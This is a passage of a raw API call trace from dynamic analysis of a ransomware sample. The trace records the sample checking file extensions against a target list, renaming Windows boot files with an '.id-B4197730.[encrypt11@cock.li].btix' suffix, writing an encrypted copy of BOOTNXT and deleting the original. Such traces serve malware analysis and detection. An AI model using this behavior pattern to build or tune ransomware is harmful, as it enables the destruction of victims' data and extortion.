(lpString1=".jpg", lpString2="LOG1") returned -1 [0046.736] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.736] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.736] lstrlenW (lpString=".doc") returned 4 [0046.736] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0046.736] lstrlenW (lpString=".docx") returned 5 [0046.736] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0046.736] lstrlenW (lpString=".pdf") returned 4 [0046.736] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0046.736] lstrlenW (lpString=".xls") returned 4 [0046.736] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0046.736] lstrlenW (lpString=".xlsx") returned 5 [0046.736] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0046.736] lstrlenW (lpString=".ppt") returned 4 [0046.736] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0046.737] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.737] lstrlenW (lpString=".zip") returned 4 [0046.737] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0046.737] lstrlenW (lpString=".rar") returned 4 [0046.737] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0046.737] lstrlenW (lpString=".bz2") returned 4 [0046.737] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0046.737] lstrlenW (lpString=".7z") returned 3 [0046.737] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0046.737] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.737] lstrlenW (lpString=".dbf") returned 4 [0046.737] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0046.737] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.737] lstrlenW (lpString=".1cd") returned 4 [0046.737] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0046.737] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.737] lstrlenW (lpString=".jpg") returned 4 [0046.737] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0046.737] lstrcmpiW (lpString1=".LOG2", lpString2=".btix") returned 1 [0046.737] lstrlenW (lpString="BCD.LOG2") returned 8 [0046.737] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.737] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=0) returned 1 [0046.737] CloseHandle (hObject=0x358) returned 1 [0046.737] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.737] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.738] lstrlenW (lpString=".doc") returned 4 [0046.738] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString=".docx") returned 5 [0046.738] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0046.738] lstrlenW (lpString=".pdf") returned 4 [0046.738] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString=".xls") returned 4 [0046.738] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString=".xlsx") returned 5 [0046.738] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0046.738] lstrlenW (lpString=".ppt") returned 4 [0046.738] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.738] lstrlenW (lpString=".zip") returned 4 [0046.738] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString=".rar") returned 4 [0046.738] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString=".bz2") returned 4 [0046.738] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString=".7z") returned 3 [0046.738] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0046.738] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.738] lstrlenW (lpString=".dbf") returned 4 [0046.738] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.738] lstrlenW (lpString=".1cd") returned 4 [0046.738] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.738] lstrlenW (lpString=".jpg") returned 4 [0046.738] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.738] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.738] lstrlenW (lpString=".doc") returned 4 [0046.738] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0046.738] lstrlenW (lpString=".docx") returned 5 [0046.739] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0046.739] lstrlenW (lpString=".pdf") returned 4 [0046.739] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0046.739] lstrlenW (lpString=".xls") returned 4 [0046.739] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0046.739] lstrlenW (lpString=".xlsx") returned 5 [0046.739] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0046.739] lstrlenW (lpString=".ppt") returned 4 [0046.739] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0046.739] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.739] lstrlenW (lpString=".zip") returned 4 [0046.739] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0046.739] lstrlenW (lpString=".rar") returned 4 [0046.739] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0046.739] lstrlenW (lpString=".bz2") returned 4 [0046.739] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0046.739] lstrlenW (lpString=".7z") returned 3 [0046.739] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0046.739] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.739] lstrlenW (lpString=".dbf") returned 4 [0046.739] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0046.739] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.739] lstrlenW (lpString=".1cd") returned 4 [0046.739] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0046.739] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0046.739] lstrlenW (lpString=".jpg") returned 4 [0046.739] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0046.739] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0046.739] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0046.739] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.740] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=77664) returned 1 [0046.740] CloseHandle (hObject=0x358) returned 1 [0046.740] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0046.740] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.740] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.740] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.740] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.740] lstrlenW (lpString=".doc") returned 4 [0046.740] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0046.740] lstrlenW (lpString=".docx") returned 5 [0046.740] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0046.740] lstrlenW (lpString=".pdf") returned 4 [0046.740] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0046.740] lstrlenW (lpString=".xls") returned 4 [0046.740] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0046.740] lstrlenW (lpString=".xlsx") returned 5 [0046.740] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0046.740] lstrlenW (lpString=".ppt") returned 4 [0046.740] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0046.740] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.740] lstrlenW (lpString=".zip") returned 4 [0046.740] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0046.740] lstrlenW (lpString=".rar") returned 4 [0046.740] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0046.740] lstrlenW (lpString=".bz2") returned 4 [0046.741] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0046.741] lstrlenW (lpString=".7z") returned 3 [0046.741] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0046.741] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.741] lstrlenW (lpString=".dbf") returned 4 [0046.741] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0046.741] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.741] lstrlenW (lpString=".1cd") returned 4 [0046.741] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0046.741] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.741] lstrlenW (lpString=".jpg") returned 4 [0046.741] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0046.741] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.741] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.741] lstrlenW (lpString=".doc") returned 4 [0046.741] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0046.741] lstrlenW (lpString=".docx") returned 5 [0046.741] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0046.741] lstrlenW (lpString=".pdf") returned 4 [0046.741] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0046.741] lstrlenW (lpString=".xls") returned 4 [0046.741] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0046.741] lstrlenW (lpString=".xlsx") returned 5 [0046.741] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0046.741] lstrlenW (lpString=".ppt") returned 4 [0046.741] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0046.741] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.741] lstrlenW (lpString=".zip") returned 4 [0046.741] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0046.741] lstrlenW (lpString=".rar") returned 4 [0046.741] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0046.741] lstrlenW (lpString=".bz2") returned 4 [0046.741] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0046.741] lstrlenW (lpString=".7z") returned 3 [0046.741] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0046.742] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.742] lstrlenW (lpString=".dbf") returned 4 [0046.742] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0046.742] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.742] lstrlenW (lpString=".1cd") returned 4 [0046.742] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0046.742] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0046.742] lstrlenW (lpString=".jpg") returned 4 [0046.742] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0046.742] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0046.742] lstrlenW (lpString="bootspaces.dll") returned 14 [0046.742] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.861] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=95648) returned 1 [0046.861] CloseHandle (hObject=0x358) returned 1 [0046.861] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0046.862] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.862] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.862] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.862] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.862] lstrlenW (lpString=".doc") returned 4 [0046.862] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.862] lstrlenW (lpString=".docx") returned 5 [0046.862] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0046.862] lstrlenW (lpString=".pdf") returned 4 [0046.862] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.862] lstrlenW (lpString=".xls") returned 4 [0046.862] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.862] lstrlenW (lpString=".xlsx") returned 5 [0046.862] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0046.862] lstrlenW (lpString=".ppt") returned 4 [0046.862] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.862] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.862] lstrlenW (lpString=".zip") returned 4 [0046.862] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.862] lstrlenW (lpString=".rar") returned 4 [0046.862] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.862] lstrlenW (lpString=".bz2") returned 4 [0046.862] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.862] lstrlenW (lpString=".7z") returned 3 [0046.862] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.862] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.862] lstrlenW (lpString=".dbf") returned 4 [0046.862] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.862] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.862] lstrlenW (lpString=".1cd") returned 4 [0046.863] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.863] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.863] lstrlenW (lpString=".jpg") returned 4 [0046.863] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.863] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.863] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.863] lstrlenW (lpString=".doc") returned 4 [0046.863] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.863] lstrlenW (lpString=".docx") returned 5 [0046.863] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0046.863] lstrlenW (lpString=".pdf") returned 4 [0046.863] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.863] lstrlenW (lpString=".xls") returned 4 [0046.863] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.863] lstrlenW (lpString=".xlsx") returned 5 [0046.863] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0046.863] lstrlenW (lpString=".ppt") returned 4 [0046.863] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.863] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.863] lstrlenW (lpString=".zip") returned 4 [0046.863] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.863] lstrlenW (lpString=".rar") returned 4 [0046.863] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.863] lstrlenW (lpString=".bz2") returned 4 [0046.863] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.863] lstrlenW (lpString=".7z") returned 3 [0046.863] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.863] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.863] lstrlenW (lpString=".dbf") returned 4 [0046.863] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.863] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.863] lstrlenW (lpString=".1cd") returned 4 [0046.863] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.863] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0046.863] lstrlenW (lpString=".jpg") returned 4 [0046.864] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.864] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0046.864] lstrlenW (lpString="bootvhd.dll") returned 11 [0046.864] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.864] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=99744) returned 1 [0046.864] CloseHandle (hObject=0x358) returned 1 [0046.864] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0046.864] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.864] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.865] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0046.865] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0046.865] lstrlenW (lpString=".doc") returned 4 [0046.865] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.865] lstrlenW (lpString=".docx") returned 5 [0046.865] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0046.865] lstrlenW (lpString=".pdf") returned 4 [0046.865] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.865] lstrlenW (lpString=".xls") returned 4 [0046.865] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.865] lstrlenW (lpString=".xlsx") returned 5 [0046.865] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0046.865] lstrlenW (lpString=".ppt") returned 4 [0046.865] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.865] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0046.865] lstrlenW (lpString=".zip") returned 4 [0046.865] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.865] lstrlenW (lpString=".rar") returned 4 [0046.865] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.865] lstrlenW (lpString=".bz2") returned 4 [0046.865] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.865] lstrlenW (lpString=".7z") returned 3 [0046.865] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.865] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0046.865] lstrlenW (lpString=".dbf") returned 4 [0046.865] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.903] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0046.960] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0046.968] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0047.015] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0047.601] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0047.601] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.777] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.777] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.777] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\bootnxt.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0047.778] GetLastError () returned 0x0 [0047.778] ReadFile (in: hFile=0x318, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x1, lpOverlapped=0x0) returned 1 [0047.778] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x10, lpOverlapped=0x0) returned 1 [0047.780] ReadFile (in: hFile=0x318, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.780] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xe2, lpOverlapped=0x0) returned 1 [0047.780] SetEndOfFile (hFile=0x2e0) returned 1 [0047.780] CloseHandle (hObject=0x2e0) returned 1 [0047.780] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.780] SetEndOfFile (hFile=0x318) returned 1 [0047.781] CloseHandle (hObject=0x318) returned 1 [0047.781] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x26) returned 1 [0047.781] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0047.782] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.782] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.782] lstrlenW (lpString=".doc") returned 4 [0047.782] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0047.782] lstrlenW (lpString=".docx") returned 5 [0047.782] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0047.782] lstrlenW (lpString=".pdf") returned 4 [0047.782] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0047.782] lstrlenW (lpString=".xls") returned 4 [0047.782] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0047.782] lstrlenW (lpString=".xlsx") returned 5 [0047.782] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0047.782] lstrlenW (lpString=".ppt") returned 4 [0047.782] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0047.782] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.782] lstrlenW (lpString=".zip") returned 4 [0047.782] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0047.782] lstrlenW (lpString=".rar") returned 4 [0047.782] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0047.782] lstrlenW (lpString=".bz2") returned 4 [0047.782] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0047.782] lstrlenW (lpString=".7z") returned 3 [0047.782] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0047.782] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.782] lstrlenW (lpString=".dbf") returned 4 [0047.782] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0047.782] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.782] lstrlenW (lpString=".1cd") returned 4 [0047.782] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0047.782] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.782] lstrlenW (lpString=".jpg") returned 4 [0047.783] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0047.783] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.783] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.783] lstrlenW (lpString=".doc") returned 4 [0047.783] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0047.783] lstrlenW (lpString=".docx") returned 5 [0047.783] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0047.783] lstrlenW (lpString=".pdf") returned 4 [0047.783] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0047.783] lstrlenW (lpString=".xls") returned 4 [0047.783] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0047.783] lstrlenW (lpString=".xlsx") returned 5 [0047.783] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0047.783] lstrlenW (lpString=".ppt") returned 4 [0047.783] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0047.783] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.783] lstrlenW (lpString=".zip") returned 4 [0047.783] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0047.783] lstrlenW (lpString=".rar") returned 4 [0047.783] lstrcmpiW 